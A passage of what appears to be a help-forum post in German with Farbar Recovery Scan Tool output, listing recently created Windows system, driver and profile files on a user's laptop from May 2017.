2017-05-30 08:01 - 2017-04-14 02:35 - 00673112 _____ (Microsoft Corporation) C:\windows\system32\AppResolver.dll
2017-05-30 08:01 - 2017-04-14 02:33 - 02085280 _____ (Microsoft Corporation) C:\windows\system32\UpdateAgent.dll
2017-05-30 08:01 - 2017-04-14 02:32 - 01320352 _____ (Microsoft Corporation) C:\windows\system32\wpx.dll
2017-05-30 08:01 - 2017-04-14 02:30 - 00105456 _____ (Microsoft Corporation) C:\windows\system32\imagehlp.dll
2017-05-30 08:01 - 2017-04-14 01:43 - 00523296 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppResolver.dll
2017-05-30 08:01 - 2017-04-14 01:40 - 00095584 _____ (Microsoft Corporation) C:\windows\SysWOW64\imagehlp.dll
2017-05-30 08:01 - 2017-04-14 01:39 - 00974848 _____ (Microsoft Corporation) C:\windows\system32\mmgaserver.exe
2017-05-30 08:01 - 2017-04-14 01:39 - 00334336 _____ (Microsoft Corporation) C:\windows\system32\wc_storage.dll
2017-05-30 08:01 - 2017-04-14 01:39 - 00155136 _____ (Microsoft Corporation) C:\windows\system32\VEStoreEventHandlers.dll
2017-05-30 08:01 - 2017-04-14 01:38 - 00208896 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.AppDefaults.dll
2017-05-30 08:01 - 2017-04-14 01:37 - 00450048 _____ (Microsoft Corporation) C:\windows\system32\bcdedit.exe
2017-05-30 08:01 - 2017-04-14 01:37 - 00301056 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseAppMgmtSvc.dll
2017-05-30 08:01 - 2017-04-14 01:37 - 00246272 _____ (Microsoft Corporation) C:\windows\system32\domgmt.dll
2017-05-30 08:01 - 2017-04-14 01:36 - 00524800 _____ (Microsoft Corporation) C:\windows\system32\TileDataRepository.dll
2017-05-30 08:01 - 2017-04-14 01:36 - 00296448 _____ (Microsoft Corporation) C:\windows\system32\CloudBackupSettings.dll
2017-05-30 08:01 - 2017-04-14 01:35 - 01433600 _____ (Microsoft Corporation) C:\windows\system32\SystemSettings.Handlers.dll
2017-05-30 08:01 - 2017-04-14 01:35 - 00510976 _____ (Microsoft Corporation) C:\windows\system32\TDLMigration.dll
2017-05-30 08:01 - 2017-04-14 01:33 - 01269760 _____ (Microsoft Corporation) C:\windows\system32\enterprisecsps.dll
2017-05-30 08:01 - 2017-04-14 01:33 - 00864256 _____ (Microsoft Corporation) C:\windows\system32\NotificationController.dll
2017-05-30 08:01 - 2017-04-14 01:31 - 01611776 _____ (Microsoft Corporation) C:\windows\system32\SpeechPal.dll
2017-05-30 08:01 - 2017-04-14 01:31 - 00673280 _____ (Microsoft Corporation) C:\windows\system32\LockAppBroker.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 01583616 _____ (Microsoft Corporation) C:\windows\system32\ieapfltr.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 01295872 _____ (Microsoft Corporation) C:\windows\system32\dosvc.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 00840192 _____ (Microsoft Corporation) C:\windows\system32\fveapi.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 00647168 _____ (Microsoft Corporation) C:\windows\system32\RDXService.dll
2017-05-30 08:01 - 2017-04-14 01:28 - 02443776 _____ (Microsoft Corporation) C:\windows\system32\wuaueng.dll
2017-05-30 08:01 - 2017-04-14 01:26 - 01257472 _____ (Microsoft Corporation) C:\windows\system32\wpnapps.dll
2017-05-30 08:01 - 2017-04-14 01:24 - 01628160 _____ (Microsoft Corporation) C:\windows\system32\comsvcs.dll
2017-05-30 08:01 - 2017-04-14 01:21 - 00078848 _____ (Microsoft Corporation) C:\windows\system32\offreg.dll
2017-05-30 08:01 - 2017-04-14 01:18 - 00731136 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmgaserver.exe
2017-05-30 08:01 - 2017-04-14 01:15 - 00282112 _____ (Microsoft Corporation) C:\windows\SysWOW64\VEEventDispatcher.dll
2017-05-30 08:01 - 2017-04-14 01:15 - 00232448 _____ (Microsoft Corporation) C:\windows\SysWOW64\CloudBackupSettings.dll
2017-05-30 08:01 - 2017-04-14 01:08 - 01463296 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieapfltr.dll
2017-05-30 08:01 - 2017-04-14 01:06 - 00987648 _____ (Microsoft Corporation) C:\windows\SysWOW64\wpnapps.dll
2017-05-30 08:01 - 2017-04-14 01:04 - 00392704 _____ (Microsoft Corporation) C:\windows\SysWOW64\PlayToManager.dll
2017-05-30 08:01 - 2017-04-14 01:01 - 00057856 _____ (Microsoft Corporation) C:\windows\SysWOW64\offreg.dll
2017-05-30 08:01 - 2017-04-01 03:04 - 00382368 _____ (Adobe Systems Incorporated) C:\windows\system32\atmfd.dll
2017-05-30 08:01 - 2017-04-01 02:57 - 00311192 _____ (Adobe Systems Incorporated) C:\windows\SysWOW64\atmfd.dll
2017-05-30 08:01 - 2017-04-01 02:52 - 00409504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgmms1.sys
2017-05-30 08:01 - 2017-04-01 02:51 - 01760264 _____ (Microsoft Corporation) C:\windows\system32\WindowsCodecs.dll
2017-05-30 08:01 - 2017-04-01 02:29 - 01518088 _____ (Microsoft Corporation) C:\windows\SysWOW64\WindowsCodecs.dll
2017-05-30 08:01 - 2017-04-01 02:28 - 00354360 _____ (Microsoft Corporation) C:\windows\SysWOW64\bcryptprimitives.dll
2017-05-30 08:01 - 2017-04-01 02:09 - 00094720 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDataTimeUtil.dll
2017-05-30 08:01 - 2017-04-01 02:04 - 00364032 _____ (Microsoft Corporation) C:\windows\SysWOW64\msIso.dll
2017-05-30 08:01 - 2017-04-01 02:04 - 00119296 _____ (Microsoft Corporation) C:\windows\system32\UserDataTimeUtil.dll
2017-05-30 08:01 - 2017-04-01 01:58 - 01506816 _____ (Microsoft Corporation) C:\windows\SysWOW64\quartz.dll
2017-05-30 08:01 - 2017-04-01 01:58 - 00433664 _____ (Microsoft Corporation) C:\windows\system32\msIso.dll
2017-05-30 08:01 - 2017-04-01 01:55 - 00545792 _____ (Microsoft Corporation) C:\windows\system32\winspool.drv
2017-05-30 08:01 - 2017-04-01 01:52 - 00081408 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmjpegdec.dll
2017-05-30 08:01 - 2017-04-01 01:52 - 00078336 _____ (Microsoft Corporation) C:\windows\SysWOW64\asycfilt.dll
2017-05-30 08:01 - 2017-04-01 01:50 - 01605632 _____ (Microsoft Corporation) C:\windows\system32\quartz.dll
2017-05-30 08:01 - 2017-04-01 01:45 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\mfmjpegdec.dll
2017-05-30 08:01 - 2017-04-01 01:44 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\asycfilt.dll
2017-05-30 08:01 - 2017-03-31 23:00 - 00032004 _____ C:\windows\system32\edgehtmlpluginpolicy.bin
2017-05-30 08:00 - 2017-04-28 02:46 - 00329728 _____ (Microsoft Corporation) C:\windows\SysWOW64\webplatstorageserver.dll
2017-05-30 08:00 - 2017-04-28 02:46 - 00080384 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtmled.dll
2017-05-30 08:00 - 2017-04-28 02:45 - 00124928 _____ (Microsoft Corporation) C:\windows\SysWOW64\iepeers.dll
2017-05-30 08:00 - 2017-04-28 02:44 - 00338432 _____ (Microsoft Corporation) C:\windows\SysWOW64\iedkcs32.dll
2017-05-30 08:00 - 2017-04-28 02:42 - 00663040 _____ (Microsoft Corporation) C:\windows\SysWOW64\msfeeds.dll
2017-05-30 08:00 - 2017-04-28 02:40 - 02008576 _____ (Microsoft Corporation) C:\windows\SysWOW64\inetcpl.cpl
2017-05-30 08:00 - 2017-04-28 02:09 - 00084992 _____ (Microsoft Corporation) C:\windows\system32\MshtmlDac.dll
2017-05-30 08:00 - 2017-04-28 02:08 - 00457728 _____ (Microsoft Corporation) C:\windows\system32\webplatstorageserver.dll
2017-05-30 08:00 - 2017-04-28 02:08 - 00096256 _____ (Microsoft Corporation) C:\windows\system32\mshtmled.dll
2017-05-30 08:00 - 2017-04-28 02:07 - 00140288 _____ (Microsoft Corporation) C:\windows\system32\iepeers.dll
2017-05-30 08:00 - 2017-04-28 02:05 - 00224256 _____ (Microsoft Corporation) C:\windows\system32\ie4uinit.exe
2017-05-30 08:00 - 2017-04-28 02:04 - 00422400 _____ (Microsoft Corporation) C:\windows\system32\WpAXHolder.dll
2017-05-30 08:00 - 2017-04-28 01:52 - 00218624 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Streaming.ps.dll
2017-05-30 08:00 - 2017-04-19 08:01 - 00050176 _____ (Microsoft Corporation) C:\windows\system32\catsrvps.dll
2017-05-30 08:00 - 2017-04-14 01:41 - 00164864 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseModernAppMgmtCSP.dll
2017-05-30 08:00 - 2017-04-14 01:38 - 00251904 _____ (Microsoft Corporation) C:\windows\system32\Windows.Gaming.Preview.dll
2017-05-30 08:00 - 2017-04-14 01:37 - 00315392 _____ (Microsoft Corporation) C:\windows\system32\NotificationObjFactory.dll
2017-05-30 08:00 - 2017-04-14 01:35 - 00257024 _____ (Microsoft Corporation) C:\windows\system32\webcheck.dll
2017-05-30 08:00 - 2017-04-14 01:34 - 00406528 _____ (Microsoft Corporation) C:\windows\system32\InputSwitch.dll
2017-05-30 08:00 - 2017-04-14 01:25 - 00750080 _____ (Microsoft Corporation) C:\windows\system32\StorSvc.dll
2017-05-30 08:00 - 2017-04-14 01:13 - 00354304 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputSwitch.dll
2017-05-30 08:00 - 2017-04-14 01:13 - 00232960 _____ (Microsoft Corporation) C:\windows\SysWOW64\webcheck.dll
2017-05-30 08:00 - 2017-04-01 02:11 - 00038912 _____ (Adobe Systems) C:\windows\SysWOW64\atmlib.dll
2017-05-30 08:00 - 2017-04-01 02:05 - 00047104 _____ (Adobe Systems) C:\windows\system32\atmlib.dll
2017-05-30 08:00 - 2017-04-01 02:02 - 00252928 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsDocumentTargetPrint.dll
2017-05-30 08:00 - 2017-04-01 02:01 - 00429568 _____ (Microsoft Corporation) C:\windows\SysWOW64\winspool.drv
2017-05-30 08:00 - 2017-04-01 01:56 - 01060352 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsPrint.dll
2017-05-30 08:00 - 2017-04-01 01:55 - 00347136 _____ (Microsoft Corporation) C:\windows\system32\XpsDocumentTargetPrint.dll
2017-05-30 08:00 - 2017-04-01 01:50 - 01657344 _____ (Microsoft Corporation) C:\windows\system32\XpsPrint.dll
2017-05-29 16:40 - 2017-05-29 16:40 - 00000000 ____D C:\Users\****\AppData\Local\Comms
2017-05-29 16:26 - 2017-05-30 09:48 - 00000000 ___RD C:\Users\****\OneDrive
2017-05-29 16:26 - 2017-05-29 16:26 - 00000000 ____D C:\Users\****\AppData\Roaming\Intel Corporation
2017-05-29 16:24 - 2017-06-06 12:26 - 00000000 __SHD C:\Users\****\IntelGraphicsProfiles
2017-05-29 16:24 - 2017-06-03 23:58 - 00000000 ____D C:\Users\****\AppData\Local\NVIDIA Corporation
2017-05-29 16:24 - 2017-05-30 20:39 - 00000000 ____D C:\Users\****\AppData\Local\Packages
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Roaming\Adobe
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\VirtualStore
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\TileDataLayer
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\Publishers
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\ConnectedDevicesPlatform
2017-05-29 16:23 - 2017-06-06 12:25 - 00000000 ____D C:\Users\****

Twix. 06.06.2017 11:41
FRST3:
Code:
2017-05-29 16:23 - 2017-05-29 16:23 - 00000020 ___SH C:\Users\****\ntuser.ini
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Vorlagen
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Startmenü
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Netzwerkumgebung
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Lokale Einstellungen
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Eigene Dateien
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Druckumgebung
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Videos
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Musik
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Bilder
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programme
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Local\Verlauf
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Local\Anwendungsdaten
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Anwendungsdaten
2017-05-18 07:54 - 2017-05-18 07:54 - 35397536 _____ (NVIDIA Corporation) C:\windows\system32\nvoglv64.dll
2017-05-18 07:54 - 2017-05-18 07:54 - 28632152 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvoglv32.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00969632 _____ (NVIDIA Corporation) C:\windows\system32\NvIFR64.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00920664 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvIFR.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00618584 _____ (NVIDIA Corporation) C:\windows\system32\NvIFROpenGL.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00507992 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvIFROpenGL.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 40210520 _____ (NVIDIA Corporation) C:\windows\system32\nvcompiler.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 35290200 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcompiler.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 03800992 _____ (NVIDIA Corporation) C:\windows\system32\nvcuvid.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 03256408 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcuvid.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01996704 _____ (NVIDIA Corporation) C:\windows\system32\nvdispco6438205.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01598368 _____ (NVIDIA Corporation) C:\windows\system32\nvdispgenco6438205.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01062816 _____ (NVIDIA Corporation) C:\windows\system32\NvFBC64.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 00999840 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvFBC.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 11162000 _____ (NVIDIA Corporation) C:\windows\system32\nvptxJitCompiler.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 11129704 _____ (NVIDIA Corporation) C:\windows\system32\nvcuda.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 10648520 _____ (NVIDIA Corporation) C:\windows\system32\nvopencl.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 09335528 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcuda.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 09102488 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvptxJitCompiler.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 08891160 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvopencl.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01298696 _____ (NVIDIA Corporation) C:\windows\system32\nvEncMFTH264.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01296264 _____ (NVIDIA Corporation) C:\windows\system32\nvEncMFThevc.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01013344 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncMFTH264.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01011488 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncMFThevc.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00791792 _____ (NVIDIA Corporation) C:\windows\system32\nvEncodeAPI64.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00703880 _____ (NVIDIA Corporation) C:\windows\system32\nvfatbinaryLoader.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00626392 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncodeAPI.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00591672 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvfatbinaryLoader.dll
2017-05-18 04:34 - 2017-05-18 04:34 - 00000669 _____ C:\windows\SysWOW64\nv-vk32.json
2017-05-18 04:34 - 2017-05-18 04:34 - 00000669 _____ C:\windows\system32\nv-vk64.json
2017-05-13 07:06 - 2017-05-12 15:47 - 00000000 ____D C:\windows\Panther
2017-05-13 07:00 - 2017-05-12 15:23 - 00000000 ____D C:\MININT
2017-05-13 07:00 - 2016-09-19 12:21 - 00795640 _____ (Intel Corporation) C:\windows\system32\Drivers\iaStorA.sys
2017-05-13 07:00 - 2016-08-01 09:42 - 00943112 _____ (Realtek ) C:\windows\system32\Drivers\rt640x64.sys
2017-05-12 15:27 - 2017-05-29 16:19 - 00003042 _____ C:\windows\System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473
2017-05-12 15:22 - 2017-05-12 15:22 - 00019778 _____ C:\windows\system32\results.xml
2017-05-12 15:21 - 2017-05-12 15:21 - 10238808 _____ C:\windows\SysWOW64\PerfStringBackup.INI
2017-05-12 15:21 - 2017-05-12 15:21 - 00466520 _____ (Creative Labs) C:\windows\system32\wrap_oal.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00445016 _____ (Creative Labs) C:\windows\SysWOW64\wrap_oal.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00123480 _____ (Portions (C) Creative Labs Inc. and NVIDIA Corp.) C:\windows\system32\OpenAL32.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00109144 _____ (Portions (C) Creative Labs Inc. and NVIDIA Corp.) C:\windows\SysWOW64\OpenAL32.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00000219 ___RH C:\windows\ctfile.rfc
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Intel
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Creative
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\ProgramData\Creative
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files (x86)\AirplaneModeInstaller
2017-05-12 15:21 - 2017-02-07 05:23 - 00809560 ____R (Creative Labs Inc.) C:\windows\SysWOW64\tmp6E6A.tmp
2017-05-12 15:21 - 2017-02-07 05:23 - 00809560 ____R (Creative Labs Inc.) C:\windows\SysWOW64\tmp6E69.tmp
2017-05-12 15:21 - 2016-12-12 10:52 - 00057606 _____ C:\windows\MBSpkrEQ.cfg
2017-05-12 15:21 - 2016-07-05 14:00 - 00005024 ____N C:\windows\MBCfg_SP_APOIM.ini
2017-05-12 15:21 - 2016-03-15 13:55 - 00089600 _____ C:\windows\system32\CmdRtr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00359424 _____ C:\windows\system32\APOMgr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00074240 _____ C:\windows\SysWOW64\CmdRtr.DLL
2017-05-12 15:21 - 2016-03-15 13:53 - 00271360 _____ C:\windows\SysWOW64\APOMngr.DLL
2017-05-12 15:21 - 2016-03-03 14:42 - 01942016 _____ (Creative) C:\windows\system32\Sens_oal.dll
2017-05-12 15:21 - 2016-03-03 14:39 - 01609728 _____ (Creative) C:\windows\SysWOW64\Sens_oal.dll
2017-05-12 15:21 - 2015-05-22 10:41 - 00378824 _____ (Creative Technology Ltd.) C:\windows\system32\ChezSC64.DLL
2017-05-12 15:21 - 2015-05-22 10:41 - 00329672 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\ChezSC32.DLL
2017-05-12 15:21 - 2015-05-04 10:05 - 00020697 _____ C:\windows\SysWOW64\MBCfg32.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00020697 _____ C:\windows\system32\MBCfg64.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00006968 _____ C:\windows\SysWOW64\MBCfgUninstall32.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00006968 _____ C:\windows\system32\MBCfgUninstall64.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00004862 ____N C:\windows\MBCfg_APOIM.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00004821 ____N C:\windows\MBCfg_HP_APOIM.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00001165 ____N C:\windows\MBCfg_Capture_APOIM.ini
2017-05-12 15:21 - 2014-02-21 10:57 - 00041088 _____ (Creative Technology Ltd.) C:\windows\system32\MBCfg64.dll
2017-05-12 15:21 - 2014-02-21 10:57 - 00038016 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBCfg32.dll
2017-05-12 15:21 - 2013-04-23 10:54 - 00148096 _____ (Creative Technology Ltd.) C:\windows\system32\MBCfg64.exe
2017-05-12 15:21 - 2013-04-23 10:53 - 00138880 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBCfg32.exe
2017-05-12 15:21 - 2013-04-23 10:53 - 00015488 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\ResDefA.exe
2017-05-12 15:21 - 2000-05-11 01:00 - 00090112 ____N (Creative Technology Ltd.) C:\windows\Updreg.EXE
2017-05-12 15:20 - 2017-05-29 16:19 - 00003118 _____ C:\windows\System32\Tasks\Intel PTT EK Recertification
2017-05-12 15:20 - 2017-05-29 16:19 - 00003074 _____ C:\windows\System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7
2017-05-12 15:20 - 2017-05-29 16:19 - 00002708 _____ C:\windows\System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7-Logon
2017-05-12 15:20 - 2017-05-12 15:27 - 00000000 ____D C:\ProgramData\Intel
2017-05-12 15:20 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files (x86)\Creative
2017-05-12 15:20 - 2017-05-12 15:20 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_AirplaneModeHid_01011.Wdf
2017-05-12 15:20 - 2017-05-12 15:20 - 00000000 ____D C:\Program Files\Insyde
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_HKMouFltr_01009.Wdf
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_HKKbdFltr_01009.Wdf
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____D C:\Program Files (x86)\Hotkey
2017-05-12 15:19 - 2017-04-12 08:32 - 00532376 _____ (SRS Labs, Inc.) C:\windows\system32\SRSTSX64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00221960 _____ (SRS Labs, Inc.) C:\windows\system32\SRSTSH64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00209528 _____ (SRS Labs, Inc.) C:\windows\system32\SRSHP64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00166200 _____ (SRS Labs, Inc.) C:\windows\system32\SRSWOW64.dll
2017-05-12 15:19 - 2016-05-24 19:19 - 00012800 _____ (Windows (R) 2000 DDK provider) C:\windows\SysWOW64\CLEVOMOF.dll
2017-05-12 15:19 - 2015-11-26 16:49 - 00051400 _____ (Insyde Software Corp.) C:\windows\system32\Drivers\HKKbdFltr.sys
2017-05-12 15:19 - 2015-11-26 16:49 - 00048344 _____ (Insyde Software Corp.) C:\windows\system32\Drivers\HKMouFltr.sys
2017-05-12 15:19 - 2015-05-21 16:30 - 00017880 _____ (Microsoft) C:\windows\SysWOW64\BTControl.exe
2017-05-12 15:18 - 2017-06-01 22:05 - 00004308 _____ C:\windows\System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003994 _____ C:\windows\System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003894 _____ C:\windows\System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003866 _____ C:\windows\System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003858 _____ C:\windows\System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003696 _____ C:\windows\System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003654 _____ C:\windows\System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00001491 _____ C:\Users\Public\Desktop\GeForce Experience.lnk
2017-05-12 15:18 - 2017-05-12 15:19 - 00000000 ___HD C:\Program Files (x86)\Temp
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_SynTP_01011.Wdf
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_Smb_driver_Intel_01011.Wdf
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\NVIDIA Corporation
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____D C:\Program Files\Synaptics
2017-05-12 15:18 - 2017-05-03 22:21 - 01893496 _____ (NVIDIA Corporation) C:\windows\system32\nvspcap64.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01755256 _____ (NVIDIA Corporation) C:\windows\system32\nvspbridge64.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01477240 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvspcap.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01317496 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvspbridge.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 00121464 _____ C:\windows\system32\NvRtmpStreamer64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 03203584 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtPgEx64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 03014144 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RTSnMg64.cpl
2017-05-12 15:18 - 2017-04-12 08:32 - 00343704 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtlCPAPI64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 00192976 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtkCfg64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 09107564 _____ C:\windows\system32\Drivers\RTAIODAT.DAT
2017-05-12 15:18 - 2017-04-12 08:31 - 03503048 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtkApi64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 02839520 _____ (Realtek Semiconductor Corp.) C:\windows\RtlExUpd.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 02201600 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RCoInstII64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 01743336 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBAPO232.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 01353824 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RTCOM64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00689872 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtDataProc64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00387312 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEP64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00321712 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RP3DHT64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00321712 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RP3DAA64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00214824 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEED64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00122312 _____ (Real Sound Lab SIA) C:\windows\system32\CONEQMSAPOGUILibrary.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00110976 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEL64A.dll
